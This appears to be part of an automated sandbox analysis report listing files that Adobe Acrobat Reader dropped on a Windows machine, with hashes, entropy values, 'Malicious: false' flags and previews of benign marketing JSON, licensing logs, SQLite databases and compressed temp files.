Preview:	{"analyticsData":{"responseGUID":"4180ede4-ccec-4d1f-8ff8-04e392e01e49","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1713715734383,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_RHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"57802_176003ActionBlock_0","campaignId":57802,"containerId":"1","controlGroupId":"","treatmentId":"d0374f2d-08b2-49b9-9500-3392758c9e2e","variationId":"176003"},"containerId":1,"containerLabel":"JSON for Reader DC RHP Banner","content":{"data":"eyJjdGEiOnsidHlwZSI6ImJ1dHRvbiIsInRleHQiOiJGcmVlIDctRGF5IFRyaWFsIiwiZ29fdXJsIjoiaHR0cHM6Ly9hY3JvYmF0LmFkb2JlLmNvbS9wcm94eS9wcmljaW5nL3VzL2VuL3NpZ24tZnJlZS10cmlhbC5odG1sP3RyYWNraW5naWQ9UEMxUFFMUVQmbXY9aW4tcHJvZHVjdCZtdjI9cmVhZGVyIn0sInVpIjp7InRpdGxlX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTQiLCJmb250X3N0eWxlIjoiMyJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEyIiwiZm9udF9zdHlsZSI6IjMifSwidGl0

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.209620043718286
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUi9EptVx+FIbRI6XVW7+0YIDoAvJfbPtdPeUkwRe9:YvXKXpEptyYpW7JsGDV8Ukee9
MD5:	AD29629EE34DC3520838B9A0EE28063F
SHA1:	DBEC675AE244915786B413774A926A691870985D
SHA-256:	8556917E936557FA18B7E44B8EC10A13B01DE138B932AD53D449927E88523810
SHA-512:	98BE3760A8381DD13B0B2598ED02405D98A32E49EA78ADEA4C45988A8619F450189AD4CBB14BEAF3032BE4DA5368405E709DB59BAC27C71F88121ABC78096EDC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4180ede4-ccec-4d1f-8ff8-04e392e01e49","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1713715734383,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.20961317069587
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUi9EptVx+FIbRI6XVW7+0YIDoAvJf21rPeUkwRe9:YvXKXpEptyYpW7JsG+16Ukee9
MD5:	C700B7EACB4C184431BBAFF47F15EAF9
SHA1:	5D50E34EFD6E683EF96F53B0E0AD7DBB5CF4B6BD
SHA-256:	66D29AEF7D7AFD366ACC24C84B07E3E26974FD247C939CAB517FA28421C32BA0
SHA-512:	4527513D6E8F27A363B35ABEE3BA007D09BD78DCE8BCD62956F431E9BE51F3D3CA131421F31C8DB2D8CED57E5E707164128C5F4B11A7CC72872BD4FA55258ECE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4180ede4-ccec-4d1f-8ff8-04e392e01e49","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1713715734383,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.233424316667793
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUi9EptVx+FIbRI6XVW7+0YIDoAvJfbpatdPeUkwRe9:YvXKXpEptyYpW7JsGVat8Ukee9
MD5:	594112E6B5F766B5BD96BF4F8AE31D9C
SHA1:	892EEE39A401608206383240ABAC7AF2BA723506
SHA-256:	6841DCC35F6EAC8A11C710D52B5C0C978D24C8885902040DBB7395FD4CEC92E1
SHA-512:	3095EF64E148F53B8A107FEADC5EE3ABC2399458D21EA1A426EC02BA6A2A3E781F3279A239721EDF93772A916F4FF9EEEAB06C83792A7DD80FFB46C3933E42E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4180ede4-ccec-4d1f-8ff8-04e392e01e49","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1713715734383,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.1856546804799875
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUi9EptVx+FIbRI6XVW7+0YIDoAvJfshHHrPeUkwRe9:YvXKXpEptyYpW7JsGUUUkee9
MD5:	AD36216C6B7A1593360DC1104D7CA854
SHA1:	DF101C9B2AB8D178E25C098053A7EE410E2F89C1
SHA-256:	B6A62145F59BE337FB1274BEFC943C44A1E70E34B9F80DE652EE1A24A05A4E1B
SHA-512:	FFBD0641A2F0BFFB0D0B19EF83CA0C5CBCDB48151B8F2BF4C2285F934D8ED9912678F57293F4CA15E44673B6CD4CC8934880AA88E8AC234E482A3960FDD49404
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4180ede4-ccec-4d1f-8ff8-04e392e01e49","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1713715734383,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.354938172675963
Encrypted:	false
SSDEEP:	12:YvXKXpEptyYpW7JsGTq16Ukee1+3CEJ1KXd15kcyKMQo7P70c0WM6ZB/uhW3S:Yv6XpWXiQ168CgEXX5kcIfANhj
MD5:	D8599DF5EFC2DFD4F4580B962AA0F08F
SHA1:	5C54DA1DC84DE680E4487A4B15445B106557008B
SHA-256:	BAF7584C6092063691100762FF67145ED7ACF8433C8EE984A08A057294B43EFB
SHA-512:	DEB9C4F64480AB8EFE319ACB505562B5839721968D997597BF33AE0E1E6A2F209B707EF3B0E62B208D41B61C3C980A3E9F598E1ED280FF9084C6648B08BB7EF6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4180ede4-ccec-4d1f-8ff8-04e392e01e49","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1713715734383,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"Edit_InApp_Aug2020"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"20360_57769ActionBlock_0","campaignId":20360,"containerId":"1","controlGroupId":"","treatmentId":"3c07988a-9c54-409d-9d06-53885c9f21ec","variationId":"57769"},"containerId":1,"containerLabel":"JSON for switching in-app test","content":{"data":"eyJ1cHNlbGxleHBlcmltZW50Ijp7InRlc3RpZCI6IjEiLCJjb2hvcnQiOiJicm93c2VyIn19","dataType":"application\/json","encodingScheme":true},"endDTS":1735804679000,"startDTS":1713538554423}}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137574371004853
Encrypted:	false
SSDEEP:	24:YLQVTVPCyDwwM8jxka5yayuh5/oBMHSIjzcFvj0SUaQ252LS+Ocv5/9YFuwOG:YUVRhkx8jBho+zcpAIEOcvF9m
MD5:	907DBF2E191C5134811CFAA340531DFE
SHA1:	F2133F6272621C774B049A22A9EA581011DABEBA
SHA-256:	CDFE69616EEFCD0329DDC4D17033EF6ED62CE095C00A99C11D23A55970EF22D7
SHA-512:	F48F0F7240BCEC36DD905DE567D3C55DDCB2177196127AEDE0B68E57A1363477B86E052F1C441E439BA16FD5C87597EF348D5ED7DCEE684720113617E9F0268A
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"f111929fff845b50d6240a21b9af4b10","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1713538553000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"cc962aed037446176f463e09684741b6","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":1372,"ts":1713538553000},{"id":"Edit_InApp_Aug2020","info":{"dg":"f534c418ae40e4f964d961c77b6ff448","sid":"Edit_InApp_Aug2020"},"mimeType":"file","size":782,"ts":1713538553000},{"id":"DC_Reader_RHP_Banner","info":{"dg":"dbe3ad1f620f100c17090cad3e215cab","sid":"DC_Reader_RHP_Banner"},"mimeType":"file","size":1395,"ts":1713538553000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"8645f9ce21f093543fdf9ce4afd36849","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1713538553000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"3055295dda5715a030b28e8dffbe9931","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1713538553000},

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9841624647802181
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpxqeL4zJwtNBwtNbRZ6bRZ4wqeLF:TVl2GL7ms6ggOVp0ZzutYtp6Py2
MD5:	8122BFC6AD4C5A7145789B0F79F093F5
SHA1:	4BB6730735709344FC890B0E80637E23EE15E773
SHA-256:	6920F516BF68F9738AE312A2C23066795EA8E5A1338DC4E378DCA0DC648AD467
SHA-512:	115176F8F3F92007C4A5D89A67EBA73C41A8A2977203D2D64B77118237C35C9BB77EF92B6FE62639DF12BF8CD5C7963C43A54B1FD8054B948C225C349F991EAC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.336931058647684
Encrypted:	false
SSDEEP:	24:7+t1AD1RZKHs/Ds/SpxqeLPzJwtNBwtNbRZ6bRZWf1RZKHqLBx/XYKQvGJF7ursa:7M1GgOVp0CzutYtp6PMuqll2GL7msa
MD5:	833F1BCEAF125482352EFD4959D38742
SHA1:	557D40EB9AFAD22D5BD0709CB6EA5466FF174B7D
SHA-256:	F625D2A2A1CE87DE5EAD6DF15D8CA3CB04F7656497A82BCD4868E011F41A4A6C
SHA-512:	006E55CF0BD792929BD8CC82E36ED21D6A200F17E4495870F0EBEEEB15AE5506C965878182D8E6A93381A8C74111C49726EC7D73CE0AFF08F73B4C012A4D732F
Malicious:	false
Preview:	.... .c.....{cRF......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIb1f81.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.536003181970279
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8m+arNTe:Qw946cPbiOxDlbYnuRKpNi
MD5:	C5FD3ECBFF2782B2FE5DFD1F7384DF04
SHA1:	1C564455B290BB5D9092B2BCB2F41FA4A561F78A
SHA-256:	A8A44B36DADD522271A5E2ED79FE19E4F2876BFC4C012D1D875C3553104CB77A
SHA-512:	41F531C5B2F3A4933953DC5C2BBD5EBA4327BF80D5ED3269F00B32EE935C20CACB81C11F220699E20F59EA1447D2886E0C766F5D2365D14A2639466D6FDEF658
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.9./.0.4./.2.0.2.4. . .1.6.:.5.5.:.5.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-04-19 16-55-51-628.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	16603
Entropy (8bit):	5.384521536453241
Encrypted:	false
SSDEEP:	384:55FAFV8pYfnatSkPVL0C89ccnEYvmibUjdZPrPm3o+zj90sM3hpCRCPm9zQLiSut:f4z
MD5:	FD52EF7E4AF692D50168E1F7D6887944
SHA1:	5945B795F0B2B06398C24B54A63081EB4935781C
SHA-256:	9600EBD2F179F2979CDD5053685286695CACBCBF0057CED6252FB64FA3E5130B
SHA-512:	0AA52B323742BB86D1B9DA98AC3A0158A2E1F4749C75460B6E2290F551A91D57CF27ED1826A7015BE8B1FCCF94FD1C3BCB82F1CD8436784E6A53794352E76AC9
Malicious:	false
Preview:	SessionID=b4d2fb17-d3fe-4601-87c1-c38bcede47f4.1713538551646 Timestamp=2024-04-19T16:55:51:646+0200 ThreadID=7792 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b4d2fb17-d3fe-4601-87c1-c38bcede47f4.1713538551646 Timestamp=2024-04-19T16:55:51:648+0200 ThreadID=7792 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b4d2fb17-d3fe-4601-87c1-c38bcede47f4.1713538551646 Timestamp=2024-04-19T16:55:51:648+0200 ThreadID=7792 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b4d2fb17-d3fe-4601-87c1-c38bcede47f4.1713538551646 Timestamp=2024-04-19T16:55:51:648+0200 ThreadID=7792 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b4d2fb17-d3fe-4601-87c1-c38bcede47f4.1713538551646 Timestamp=2024-04-19T16:55:51:648+0200 ThreadID=7792 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29845
Entropy (8bit):	5.396539862113849
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGb+:y
MD5:	48F8120E7BD5D71F4CF5D7F32C1422C6
SHA1:	73C1B3A593FD3B4981420FFF88906BC2B9B79F36
SHA-256:	32FF156F7BA1D3566184D74BF259C8BBB09C1B2C2DF96CCA53A3CF755D6D7FD5
SHA-512:	5990C362C31503714FD34AF4192918D901ECF73BE35308A0068AB34383F59163E30BAC36ED0B4EC2083223CBE5DA779AD8BB325695EC1ED16AE04C709E3BE8AA
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\626c671d-2865-4233-8b35-4d2471c4a9c5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\b8583062-ad80-495c-92e0-658518927ac0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:GqA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:5VB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A9C99A0DD153B23D2C4DC943CC1567B4
SHA1:	B7B59DEEA23EDB8F8868D28D6BD67B20B21AFC58
SHA-256:	2BAC328B0024285F5D0CC1407253D2C82EF65770FE5538FDB5863E05837D96D9
SHA-512:	27873463B8DEB439C9550A0BD0FF2E4E46B2B3B485839BA25FFB17825A13D43C35C8BDD93A3239D9FAC408FB69EC15CA7D458A4A3D9DAFB29E7622BEBFC8CDA0
Malicious:	false
Preview:	...........}.s.H....W`E.........M9h...q..p......%..!q.p....~..2......DlWtW!)?_.\|....?..?.s.w1.i..G...h6.]..y...p..m.b..N..rr..F..Xc...l.4.."..Q.... hL.p......s...x6..:.....x.~.6.Q..~......~b7..k.l......Yc.G[....hY3...C..n..\|.'6......i4f...,.."...O.b...x..,..jgc..bTn....,u.F..0......V.K,u..p....X.wAap...+.G..v....i.z...E.Rj8.a.r..<@.q.'...!.4..]...\|..3...-.2...`...4..i...w......$0D.....i./a......Z.]..e.mj..c}.?.....o......c...W..+....c...W...?8...n.......U..7..O........@....'...^.z..=.m....o.o<..~....... ...C{......w.m.h.-Q...6.(..uk/w!...Z..n.....p.U........T^w..[....1l...../i......0..1U\|}../xS}.q..B\|.......h>....S....g...A.s6.=.&....~.\.......-N.p...._.xex.....}.r..q$..<.S;l=. ..P..55;....[.}.T......d.p..vd'vl.].DN..o...................D...].......I}.t...D`?..n.A.zT..:@.`S5.K..,R....h...XzT....F..Xt...R...+N.....ee...P...F+C.....dq...r..5..aP.zY....c.f/..Pn...:f.>.Z..s.+.......7...O.C.#..6.....=.K.5{.%6,..Z.....DqZ.4....g-%.p..n...\

C:\Users\user\AppData\Local\Temp\acrocef_low\c9561074-f1d2-4be5-860e-c8f867297f07.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLcGZtwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLcGZtwZGk3mlind9i4ufFXpAXkru
MD5:	A46246FAEAB95D87F5B4FE236C2B3D3E
SHA1:	7F018DB9238A63FEAD8D11A92297E7366058A75A
SHA-256:	7E822FECC47177C5A7F4C250E7D53509D104DE68B0D0CE9445877B508400988E
SHA-512:	8AAB79958BF39F014FBA7F69287FE0C357746E63FA3482DE3231BDF4A97B964A0815DAF7BFE9751C55BA6BE618E0A964CEB23FC30B4FA9DFEB284F42EBA897BF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cbaa29ea-e7d8-4de4-b227-e554bbf6136e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... 